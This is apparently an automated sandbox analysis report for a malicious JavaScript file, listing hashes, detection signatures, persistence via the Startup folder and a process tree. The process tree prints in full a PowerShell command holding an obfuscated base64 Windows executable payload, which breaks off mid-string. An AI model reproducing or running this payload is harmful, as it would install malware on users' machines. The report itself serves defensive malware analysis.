Analysis
-
max time kernel
82s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
15/04/2023, 11:15
Static task
static1
Behavioral task
behavioral1
Sample
obj_ka_shop_deco01.js
Resource
win10v2004-20230220-en
General
-
Target
obj_ka_shop_deco01.js
-
Size
1KB
-
MD5
fefd5818ada09b627bc5635e7219c569
-
SHA1
e95502a092729d3f755c00053627f48cd63dd327
-
SHA256
dcde4c6179a0dbcef9cf9f55694821a4295a5106eff62e30161d257d6f0437d9
-
SHA512
008a28c6894009d2f2797f08e6560743e836b50728a162a430eb7650a9375301897f6c2068bedd6173c116b326e33c4c5dce7920f3d51cac783f6f76c59bcb0f
Malware Config
Signatures
-
Blocklisted process makes network request 4 IoCs
flow pid Process 4 4968 wscript.exe 6 4968 wscript.exe 12 4704 powershell.exe 13 4704 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation wscript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\obj_ka_shop_deco01.js powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\obj_ka_shop_deco01.js powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Runs ping.exe 1 TTPs 2 IoCs
pid Process 3752 PING.EXE 3628 PING.EXE -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4704 powershell.exe 4704 powershell.exe 4712 powershell.exe 4712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4704 powershell.exe Token: SeDebugPrivilege 4712 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4968 wrote to memory of 4704 4968 wscript.exe 84 PID 4968 wrote to memory of 4704 4968 wscript.exe 84 PID 4704 wrote to memory of 4008 4704 powershell.exe 86 PID 4704 wrote to memory of 4008 4704 powershell.exe 86 PID 4704 wrote to memory of 2164 4704 powershell.exe 87 PID 4704 wrote to memory of 2164 4704 powershell.exe 87 PID 2164 wrote to memory of 3752 2164 cmd.exe 88 PID 2164 wrote to memory of 3752 2164 cmd.exe 88 PID 4008 wrote to memory of 3628 4008 cmd.exe 89 PID 4008 wrote to memory of 3628 4008 cmd.exe 89 PID 4008 wrote to memory of 4712 4008 cmd.exe 94 PID 4008 wrote to memory of 4712 4008 cmd.exe 94
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\obj_ka_shop_deco01.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $bFjDJ = 'TVqQ↓:↓↓:↓M↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓//8↓:↓↓:↓Lg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓4fug4↓:↓t↓:↓nNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BQRQ↓:↓↓:↓T↓:↓ED↓:↓↓:↓lRLeg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓O↓:↓↓:↓Ii↓:↓L↓:↓V↓:↓↓:↓↓:↓B4↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓1j0↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓M↓:↓QIU↓:↓↓:↓B↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓IQ9↓:↓↓:↓BP↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓GgD↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓DEP↓:↓↓:↓↓:↓O↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CC↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C50ZXh0↓:↓↓:↓↓:↓↓:↓3B0↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓Hg↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓G↓:↓ucnNyYw↓:↓↓:↓↓:↓GgD↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓B↓:↓LnJlbG9j↓:↓↓:↓↓:↓M↓:↓↓:↓↓:↓↓:↓↓:↓G↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓J↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Q↓:↓↓:↓↓:↓Qg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C4PQ↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Eg↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓U↓:↓mCM↓:↓↓:↓HQY↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓w8↓:↓↓:↓C4↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B4CKBY↓:↓↓:↓↓:↓oqHgIoFw↓:↓↓:↓Ciqmcxg↓:↓↓:↓↓:↓q↓:↓↓:↓Q↓:↓↓:↓BHMZ↓:↓↓:↓↓:↓Kg↓:↓I↓:↓↓:↓↓:↓RzGg↓:↓↓:↓Co↓:↓D↓:↓↓:↓↓:↓Ecxs↓:↓↓:↓↓:↓q↓:↓B↓:↓↓:↓↓:↓BCoufgE↓:↓↓:↓↓:↓RvH↓:↓↓:↓↓:↓CioufgI↓:↓↓:↓↓:↓RvHQ↓:↓↓:↓CioufgM↓:↓↓:↓↓:↓RvHg↓:↓↓:↓CioufgQ↓:↓↓:↓↓:↓RvHw↓:↓↓:↓CirGfgU↓:↓↓:↓↓:↓QUKC↓:↓↓:↓↓:↓↓:↓osHnIB↓:↓↓:↓Bw0↓:↓U↓:↓↓:↓↓:↓IoIQ↓:↓↓:↓Cm8i↓:↓↓:↓↓:↓KcyM↓:↓↓:↓↓:↓q↓:↓BQ↓:↓↓:↓BH4F↓:↓↓:↓↓:↓EKhp+Bg↓:↓↓:↓BCoe↓:↓o↓:↓G↓:↓↓:↓↓:↓EKlZzD↓:↓↓:↓↓:↓Bigk↓:↓↓:↓↓:↓Kd↓:↓Y↓:↓↓:↓↓:↓K↓:↓Bw↓:↓↓:↓BCoe↓:↓igl↓:↓↓:↓↓:↓KKhp+Bw↓:↓↓:↓BCoaK↓:↓0↓:↓↓:↓↓:↓YqHgIoJg↓:↓↓:↓Cio↓:↓Gz↓:↓H↓:↓J↓:↓B↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓RBCgn↓:↓↓:↓↓:↓KLG8dKCg↓:↓↓:↓↓:↓oK↓:↓28p↓:↓↓:↓↓:↓KBm8p↓:↓↓:↓↓:↓Kbyo↓:↓↓:↓↓:↓oLBywGBxcuTytNG40o↓:↓↓:↓↓:↓BJRZyMQ↓:↓↓:↓cKIlFwOiJRhyu↓:↓↓:↓↓:↓cKIlGQaiJRpy2g↓:↓↓:↓cKIoKw↓:↓↓:↓ChYWFSgs↓:↓↓:↓↓:↓KJnLg↓:↓↓:↓Bw↓:↓3Iw↓:↓QBwKC0↓:↓↓:↓↓:↓oWFhUoL↓:↓↓:↓↓:↓CibeDiUoLg↓:↓↓:↓CgwoLw↓:↓↓:↓Ct4↓:↓↓:↓H4w↓:↓↓:↓↓:↓KDX4w↓:↓↓:↓↓:↓KEwRyN↓:↓E↓:↓cBMFIM↓:↓↓:↓↓:↓↓:↓↓:↓oMQ↓:↓↓:↓CnMy↓:↓↓:↓↓:↓KJSgz↓:↓↓:↓↓:↓KbzQ↓:↓↓:↓↓:↓olJXJ6↓:↓QBwKBE↓:↓↓:↓↓:↓ZvNQ↓:↓↓:↓Cm81↓:↓↓:↓↓:↓KDSUl↓:↓igR↓:↓↓:↓↓:↓GbzU↓:↓↓:↓↓:↓pvNQ↓:↓↓:↓CigR↓:↓↓:↓↓:↓GEwRvNg↓:↓↓:↓ChQmCXK+↓:↓QBwcsYB↓:↓HBvNw↓:↓↓:↓CigR↓:↓↓:↓↓:↓GDREFcsoB↓:↓H↓:↓oO↓:↓↓:↓↓:↓Cig5↓:↓↓:↓↓:↓KLB↓:↓RBXLK↓:↓QBwKDg↓:↓↓:↓↓:↓oTBSsOEQVy4gE↓:↓cCg4↓:↓↓:↓↓:↓KEwUoOg↓:↓↓:↓CgkoOw↓:↓↓:↓Cm88↓:↓↓:↓↓:↓KcvoB↓:↓HBvPQ↓:↓↓:↓CnIk↓:↓gBwbz4↓:↓↓:↓↓:↓oUGI0W↓:↓↓:↓↓:↓BJRYRBXIs↓:↓gBwKDg↓:↓↓:↓↓:↓qiJRcRBCg7↓:↓↓:↓↓:↓Kom8/↓:↓↓:↓↓:↓KJt4PJSgu↓:↓↓:↓↓:↓KEwYoLw↓:↓↓:↓Ct4↓:↓KgEc↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓eXk↓:↓DiE↓:↓↓:↓↓:↓E↓:↓↓:↓Ig↓:↓+I↓:↓BDyE↓:↓↓:↓↓:↓Ee↓:↓ih↓:↓↓:↓↓:↓↓:↓KKjYC↓:↓yhB↓:↓↓:↓↓:↓KKEI↓:↓↓:↓↓:↓oqHgIoQw↓:↓↓:↓Ciou0↓:↓k↓:↓↓:↓↓:↓IoIQ↓:↓↓:↓Cioe↓:↓ihE↓:↓↓:↓↓:↓KKg↓:↓↓:↓Ez↓:↓B↓:↓BQ↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓R↓:↓owF↓:↓↓:↓↓:↓bLQgo↓:↓Q↓:↓↓:↓Kwor↓:↓gIKBioi↓:↓/4VBQ↓:↓↓:↓Gyoe↓:↓igm↓:↓↓:↓↓:↓KKg↓:↓↓:↓↓:↓BMw↓:↓g↓:↓o↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓EQJ7Rg↓:↓↓:↓Cm9H↓:↓↓:↓↓:↓KCgaMC↓:↓↓:↓↓:↓Gy0SK↓:↓I↓:↓↓:↓CsK↓:↓ntG↓:↓↓:↓↓:↓KBm9I↓:↓↓:↓↓:↓KBipK↓:↓igm↓:↓↓:↓↓:↓K↓:↓nNJ↓:↓↓:↓↓:↓KfUY↓:↓↓:↓↓:↓oq↓:↓EJTSkIB↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓B2Mi4wLjUwNzI3↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓U↓:↓b↓:↓↓:↓↓:↓↓:↓GwI↓:↓↓:↓↓:↓jfg↓:↓↓:↓2↓:↓g↓:↓↓:↓CwJ↓:↓↓:↓↓:↓jU3RyaW5ncw↓:↓↓:↓↓:↓↓:↓↓:↓EEg↓:↓↓:↓X↓:↓I↓:↓↓:↓CNVUwBgF↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓CNHVUlE↓:↓↓:↓↓:↓↓:↓cBQ↓:↓↓:↓↓:↓QE↓:↓↓:↓↓:↓jQmxvYg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓BVxWiCQkP↓:↓↓:↓↓:↓↓:↓+gEz↓:↓BY↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓4↓:↓↓:↓↓:↓↓:↓Cg↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓a↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓Ek↓:↓↓:↓↓:↓↓:↓/↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓↓:↓U↓:↓↓:↓↓:↓↓:↓J↓:↓↓:↓↓:↓↓:↓Cg↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓C↓:↓↓:↓↓:↓↓:↓↓:↓w↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓MEE↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓BgCJ↓:↓5oHBgD2↓:↓5oHBgB5↓:↓tsGDw↓:↓IC↓:↓↓:↓↓:↓BgC6↓:↓pgFBgBs↓:↓5gFBgDd↓:↓5gFBgCp↓:↓5gFBgDC↓:↓5gFBg↓:↓B↓:↓5gFBgCm↓:↓lQHBg↓:↓i↓:↓lQHBg↓:↓0↓:↓5gFCgBF↓:↓mEGCgDy↓:↓asECgCN↓:↓qsEDgC3↓:↓SoHDgCRBu4GBg↓:↓c↓:↓9sGDgDR↓:↓nMHDgDp↓:↓qw↓:↓BgB5CO4EDgB9BioHDgBR↓:↓6w↓:↓BgB/↓:↓e4EDg↓:↓B↓:↓IEECg↓:↓w↓:↓gsFBgBc↓:↓tsGBg↓:↓H↓:↓poHBg↓:↓9BroHBgC/BXcFCgDH↓:↓WIFBgCqBe4EBg↓:↓3↓:↓e4EBg↓:↓↓:↓CZgFCgDS↓:↓WIFDgBQCHMHBgCrCO4Emw↓:↓rBg↓:↓↓:↓BgBsBO4EDgCMBaw↓:↓DgBb↓:↓aw↓:↓DgCX↓:↓HMHCgBNBooICgBn↓:↓YoICgChCIoIBgBBBMkICgC3CKsEBg↓:↓JCWQ↓:↓Bg↓:↓oBe4EBgDBCO4EBgC0BZgFBgCs↓:↓ZgFDg↓:↓XCKw↓:↓BgBcCJoHBgDEBu4E↓:↓↓:↓↓:↓↓:↓↓:↓Ek↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓V↓:↓XrCEU↓:↓↓:↓Q↓:↓B↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓CPBusISQ↓:↓B↓:↓↓:↓I↓:↓↓:↓↓:↓EQ↓:↓I↓:↓I6whZ↓:↓↓:↓E↓:↓↓:↓w↓:↓↓:↓↓:↓Q↓:↓↓:↓3↓:↓fLB1k↓:↓BQ↓:↓I↓:↓↓:↓↓:↓BE↓:↓↓:↓sCOsIgQ↓:↓H↓:↓↓:↓s↓:↓↓:↓↓:↓E↓:↓↓:↓BkJ6whZ↓:↓↓:↓g↓:↓Dg↓:↓B↓:↓↓:↓↓:↓↓:↓Kw↓:↓y↓:↓Fk↓:↓C↓:↓↓:↓P↓:↓↓:↓UB↓:↓↓:↓↓:↓cBw↓:↓↓:↓WQ↓:↓I↓:↓BI↓:↓BQE↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓BZ↓:↓↓:↓g↓:↓GQ↓:↓x↓:↓PQFagEx↓:↓MsFcgEx↓:↓N8FegEx↓:↓↓:↓0GggER↓:↓PUEigER↓:↓JwBjgER↓:↓↓:↓sBkgEh↓:↓NUIOwFQI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓GGM4GBg↓:↓B↓:↓Fgg↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓YYzgYG↓:↓↓:↓E↓:↓YC↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓ERjUBrU↓:↓↓:↓QCKI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TCIIGlgEB↓:↓JYg↓:↓↓:↓↓:↓↓:↓↓:↓BMIR↓:↓Wb↓:↓QE↓:↓oi↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Ewh5Bq↓:↓B↓:↓QCuI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TC↓:↓wHpQEB↓:↓Log↓:↓↓:↓↓:↓↓:↓↓:↓BMIOQaq↓:↓QE↓:↓7C↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓EwiE↓:↓a8B↓:↓QDzI↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓TCJ↓:↓Bt↓:↓EB↓:↓Psg↓:↓↓:↓↓:↓↓:↓↓:↓BEY1↓:↓a1↓:↓↓:↓I↓:↓ESE↓:↓↓:↓↓:↓↓:↓↓:↓BhjOBgY↓:↓↓:↓g↓:↓ZIQ↓:↓↓:↓↓:↓↓:↓↓:↓WCJUIugEC↓:↓C↓:↓h↓:↓↓:↓↓:↓↓:↓↓:↓BMIHwi6↓:↓QI↓:↓JyE↓:↓↓:↓↓:↓↓:↓↓:↓BhjOBgY↓:↓↓:↓g↓:↓wIQ↓:↓↓:↓↓:↓↓:↓↓:↓W↓:↓F4↓:↓vwEC↓:↓Ogi↓:↓↓:↓↓:↓↓:↓↓:↓BE↓:↓3g↓:↓J↓:↓QU↓:↓8CI↓:↓↓:↓↓:↓↓:↓↓:↓xgJ↓:↓CBMBBgD+Ig↓:↓↓:↓↓:↓↓:↓DG↓:↓iQBG↓:↓EH↓:↓↓:↓Yj↓:↓↓:↓↓:↓↓:↓↓:↓IM↓:↓f↓:↓HG↓:↓Qc↓:↓EiM↓:↓↓:↓↓:↓↓:↓↓:↓xgJqBI4↓:↓Bw↓:↓cIw↓:↓↓:↓↓:↓↓:↓↓:↓R↓:↓IQ↓:↓ywEH↓:↓Dwj↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓E↓:↓c↓:↓DT↓:↓Qg↓:↓RSM↓:↓↓:↓↓:↓↓:↓↓:↓BhjOBgY↓:↓CQBQIw↓:↓↓:↓↓:↓↓:↓↓:↓DCPs↓:↓Sg↓:↓J↓:↓IQj↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓YYzgYG↓:↓↓:↓k↓:↓↓:↓↓:↓↓:↓B↓:↓DcE↓:↓↓:↓↓:↓B↓:↓N8I↓:↓↓:↓↓:↓C↓:↓Fg↓:↓↓:↓↓:↓↓:↓D↓:↓FI↓:↓↓:↓↓:↓↓:↓B↓:↓OUI↓:↓↓:↓↓:↓B↓:↓MkF↓:↓↓:↓↓:↓B↓:↓BsB↓:↓↓:↓↓:↓B↓:↓BsBCQDOBgE↓:↓EQDOBgY↓:↓GQDOBgo↓:↓KQDOBh↓:↓↓:↓MQDOBh↓:↓↓:↓OQDOBh↓:↓↓:↓QQDOBh↓:↓↓:↓SQDOBh↓:↓↓:↓UQDOBh↓:↓↓:↓WQDOBhU↓:↓YQDOBh↓:↓↓:↓aQDOBh↓:↓↓:↓cQDOBho↓:↓gQDOBi↓:↓↓:↓mQDOBgY↓:↓oQDOBgY↓:↓qQDOBgY↓:↓wQDOBiY↓:↓2QDOBh↓:↓↓:↓4QDOBgY↓:↓6QDOBgY↓:↓iQDOBgY↓:↓kQDOBgY↓:↓D↓:↓DOBgY↓:↓F↓:↓DOBgY↓:↓H↓:↓DOBgY↓:↓J↓:↓DOBgY↓:↓D↓:↓D7↓:↓Eo↓:↓F↓:↓D7↓:↓Eo↓:↓H↓:↓D7↓:↓Eo↓:↓J↓:↓D7↓:↓Eo↓:↓sQ↓:↓3CE8↓:↓yQBJ↓:↓VU↓:↓yQD8CF0↓:↓8QDOBmM↓:↓IQHH↓:↓Gs↓:↓↓:↓QHOBgY↓:↓sQDOBgY↓:↓KQEBBYI↓:↓MQFzBIc↓:↓QQGaBo4↓:↓QQFHCJI↓:↓QQFyCJc↓:↓SQHTBJ0↓:↓QQFyCKc↓:↓WQG0Bq4↓:↓WQGiBrU↓:↓QQETCbk↓:↓YQHZBLw↓:↓cQHOBgY↓:↓eQF↓:↓↓:↓MM↓:↓cQE9BMk↓:↓cQFbBN↓:↓↓:↓gQHf↓:↓QY↓:↓QQHk↓:↓NU↓:↓QQFyCNs↓:↓iQFrCII↓:↓kQEyBeE↓:↓mQFKBOc↓:↓kQHC↓:↓O0↓:↓GQF8↓:↓fU↓:↓yQDU↓:↓Ps↓:↓qQEw↓:↓QIBsQHn↓:↓QkBuQEoB↓:↓4BsQB↓:↓CBMBsQ↓:↓k↓:↓RgBsQBqBI4↓:↓wQHs↓:↓CQBN↓:↓DVCDsBP↓:↓↓:↓UBEo↓:↓P↓:↓↓:↓eBFIBP↓:↓DOBgY↓:↓KQCb↓:↓K0DLg↓:↓L↓:↓↓:↓MCLg↓:↓T↓:↓↓:↓wCLg↓:↓b↓:↓CsCLg↓:↓j↓:↓DQCLg↓:↓r↓:↓DQCLg↓:↓z↓:↓DQCLg↓:↓7↓:↓DQCLgBD↓:↓DoCLgBL↓:↓DQCLgBT↓:↓DQCLgBb↓:↓FICLgBj↓:↓HwCQ↓:↓B7↓:↓IkCQ↓:↓Bz↓:↓I4CQwBr↓:↓JcCQwBz↓:↓I4CSQCb↓:↓L4DYwBr↓:↓JcCYwBz↓:↓I4CaQCb↓:↓NIDg↓:↓B7↓:↓IkCgwCD↓:↓IkCgwCL↓:↓IkCgwBr↓:↓JcCiQCb↓:↓N8Do↓:↓B7↓:↓IkCowCD↓:↓IkCowBr↓:↓L↓:↓CowCj↓:↓IkCowCr↓:↓IkCowCL↓:↓IkCqQBz↓:↓CsCw↓:↓B7↓:↓IkCwwCr↓:↓IkCwwBr↓:↓PECwwBz↓:↓CsCyQBz↓:↓CsC4↓:↓B7↓:↓IkC4wCD↓:↓IkC4wCL↓:↓IkC4wCj↓:↓IkC4wCr↓:↓IkCCQGb↓:↓PMDIwFz↓:↓I4CIwGT↓:↓EsDQwFz↓:↓I4CQwFT↓:↓DQCQ↓:↓Jz↓:↓I4CQ↓:↓J7↓:↓IkCY↓:↓Jz↓:↓I4CY↓:↓J7↓:↓IkCg↓:↓Jz↓:↓I4Cg↓:↓J7↓:↓IkCo↓:↓Jz↓:↓I4Co↓:↓J7↓:↓IkCw↓:↓J7↓:↓IkC4↓:↓J7↓:↓IkC↓:↓↓:↓N7↓:↓IkC↓:↓↓:↓Nz↓:↓I4CI↓:↓N7↓:↓IkCQ↓:↓N7↓:↓IkCQ↓:↓Nz↓:↓I4Cd↓:↓↓:↓c↓:↓S8BB↓:↓↓:↓B↓:↓↓:↓U↓:↓BQ↓:↓G↓:↓↓:↓c↓:↓Bw↓:↓I↓:↓↓:↓o↓:↓CQ↓:↓↓:↓↓:↓JEG2wE↓:↓↓:↓FYF4↓:↓E↓:↓↓:↓H0G5QE↓:↓↓:↓B4H6gE↓:↓↓:↓D0G7wE↓:↓↓:↓KQB9↓:↓E↓:↓↓:↓JkI+QE↓:↓↓:↓C4I+QE↓:↓↓:↓P8↓:↓/gEC↓:↓↓:↓Q↓:↓↓:↓w↓:↓C↓:↓↓:↓U↓:↓BQ↓:↓C↓:↓↓:↓Y↓:↓Bw↓:↓C↓:↓↓:↓c↓:↓CQ↓:↓C↓:↓↓:↓g↓:↓Cw↓:↓C↓:↓↓:↓k↓:↓DQ↓:↓B↓:↓↓:↓o↓:↓DQ↓:↓C↓:↓↓:↓0↓:↓Dw↓:↓C↓:↓↓:↓4↓:↓EQ↓:↓C↓:↓Bk↓:↓Ew↓:↓u↓:↓DU↓:↓P↓:↓BD↓:↓CEBN↓:↓FD↓:↓UoBBI↓:↓↓:↓↓:↓↓:↓E↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Mg↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓FgBow↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓g↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓W↓:↓HuB↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓I↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓Bh↓:↓aw↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓B↓:↓↓:↓↓:↓↓:↓5gc↓:↓↓:↓↓:↓k↓:↓B↓:↓↓:↓K↓:↓↓:↓Q↓:↓↓:↓↓:↓↓:↓Q↓:↓BQ↓:↓bg↓:↓↓:↓↓:↓B↓:↓↓:↓LQBu↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓v↓:↓G4↓:↓iw↓:↓q↓:↓Ys↓:↓TQE↓:↓↓:↓↓:↓↓:↓↓:↓↓:↓ENvbnRleHRWYWx1ZW↓:↓x↓:↓FRocmVhZFNhZmVPYmplY3RQcm92aWRlcm↓:↓x↓:↓ENsYXNzMQBDbGFzc0xpYnJhcnkz↓:↓GdldF9VVEY4↓:↓DxNb2R1bGU+↓:↓FNab0JD↓:↓EZhVWRH↓:↓HByRlZJ↓:↓FN5c3RlbS5JTwBU↓:↓ERpc3Bvc2VfX0luc3RhbmNlX18↓:↓Q3JlYXRlX19JbnN0YW5jZV9f↓:↓FByb2plY3REYXRh↓:↓G1zY29ybGli↓:↓E1pY3Jvc29mdC5WaXN1YWxCYXNpYwBMb2Fk↓:↓FN5bmNocm9uaXplZ↓:↓BHZXRNZXRob2Q↓:↓QVhTd2Q↓:↓UmVwbGFj